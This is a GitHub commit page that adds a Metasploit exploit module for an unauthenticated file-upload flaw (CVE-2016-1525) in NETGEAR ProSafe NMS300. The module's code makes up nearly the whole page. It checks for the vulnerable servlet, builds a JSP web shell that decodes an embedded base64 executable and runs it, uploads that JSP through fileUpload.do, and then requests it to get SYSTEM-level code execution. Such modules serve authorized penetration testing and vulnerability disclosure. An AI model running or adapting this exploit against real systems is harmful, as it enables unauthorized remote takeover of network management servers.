Skip to content

Commit 7731fbf

Browse files
committed
Land rapid7#6530, NETGEAR ProSafe Network Management System 300 File Upload
2 parents 7acba69 + 044b12d commit 7731fbf

File tree

1 file changed

+143
-0
lines changed

1 file changed

+143
-0
lines changed
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
17+
'Description' => %q{
18+
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
19+
The application has a file upload vulnerability that can be exploited by an
20+
unauthenticated remote attacker to execute code as the SYSTEM user.
21+
Two servlets are vulnerable, FileUploadController (located at
22+
/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
23+
This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
24+
1.1.0.13.
25+
},
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2016-1525'],
34+
['US-CERT-VU', '777024'],
35+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
36+
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
37+
],
38+
'DefaultOptions' => { 'WfsDelay' => 5 },
39+
'Platform' => 'win',
40+
'Arch' => ARCH_X86,
41+
'Privileged' => true,
42+
'Targets' =>
43+
[
44+
[ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
45+
],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Feb 4 2016'))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(8080),
52+
OptString.new('TARGETURI', [true, "Application path", '/'])
53+
], self.class)
54+
end
55+
56+
57+
def check
58+
res = send_request_cgi({
59+
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
60+
'method' => 'GET'
61+
})
62+
if res && res.code == 405
63+
Exploit::CheckCode::Detected
64+
else
65+
Exploit::CheckCode::Safe
66+
end
67+
end
68+
69+
70+
def generate_jsp_payload
71+
exe = generate_payload_exe
72+
base64_exe = Rex::Text.encode_base64(exe)
73+
payload_name = rand_text_alpha(rand(6)+3)
74+
75+
var_raw = 'a' + rand_text_alpha(rand(8) + 3)
76+
var_ostream = 'b' + rand_text_alpha(rand(8) + 3)
77+
var_buf = 'c' + rand_text_alpha(rand(8) + 3)
78+
var_decoder = 'd' + rand_text_alpha(rand(8) + 3)
79+
var_tmp = 'e' + rand_text_alpha(rand(8) + 3)
80+
var_path = 'f' + rand_text_alpha(rand(8) + 3)
81+
var_proc2 = 'e' + rand_text_alpha(rand(8) + 3)
82+
83+
jsp = %Q|
84+
<%@page import="java.io.*"%>
85+
<%@page import="sun.misc.BASE64Decoder"%>
86+
<%
87+
try {
88+
String #{var_buf} = "#{base64_exe}";
89+
BASE64Decoder #{var_decoder} = new BASE64Decoder();
90+
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
91+
92+
File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
93+
String #{var_path} = #{var_tmp}.getAbsolutePath();
94+
95+
BufferedOutputStream #{var_ostream} =
96+
new BufferedOutputStream(new FileOutputStream(#{var_path}));
97+
#{var_ostream}.write(#{var_raw});
98+
#{var_ostream}.close();
99+
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
100+
} catch (Exception e) {
101+
}
102+
%>
103+
|
104+
105+
jsp.gsub!(/[\n\t\r]/, '')
106+
107+
return jsp
108+
end
109+
110+
111+
def exploit
112+
jsp_payload = generate_jsp_payload
113+
114+
jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
115+
jsp_full_name = "null#{jsp_name}.jsp"
116+
post_data = Rex::MIME::Message.new
117+
post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')
118+
post_data.add_part(jsp_payload,
119+
"application/octet-stream", 'binary',
120+
"form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")
121+
data = post_data.to_s
122+
123+
print_status("#{peer} - Uploading payload...")
124+
res = send_request_cgi({
125+
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
126+
'method' => 'POST',
127+
'data' => data,
128+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
129+
})
130+
if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
131+
print_status("#{peer} - Payload uploaded successfully")
132+
else
133+
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
134+
end
135+
136+
print_status("#{peer} - Executing payload...")
137+
send_request_cgi({
138+
'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name),
139+
'method' => 'GET'
140+
})
141+
handler
142+
end
143+
end

0 commit comments

Comments
 (0)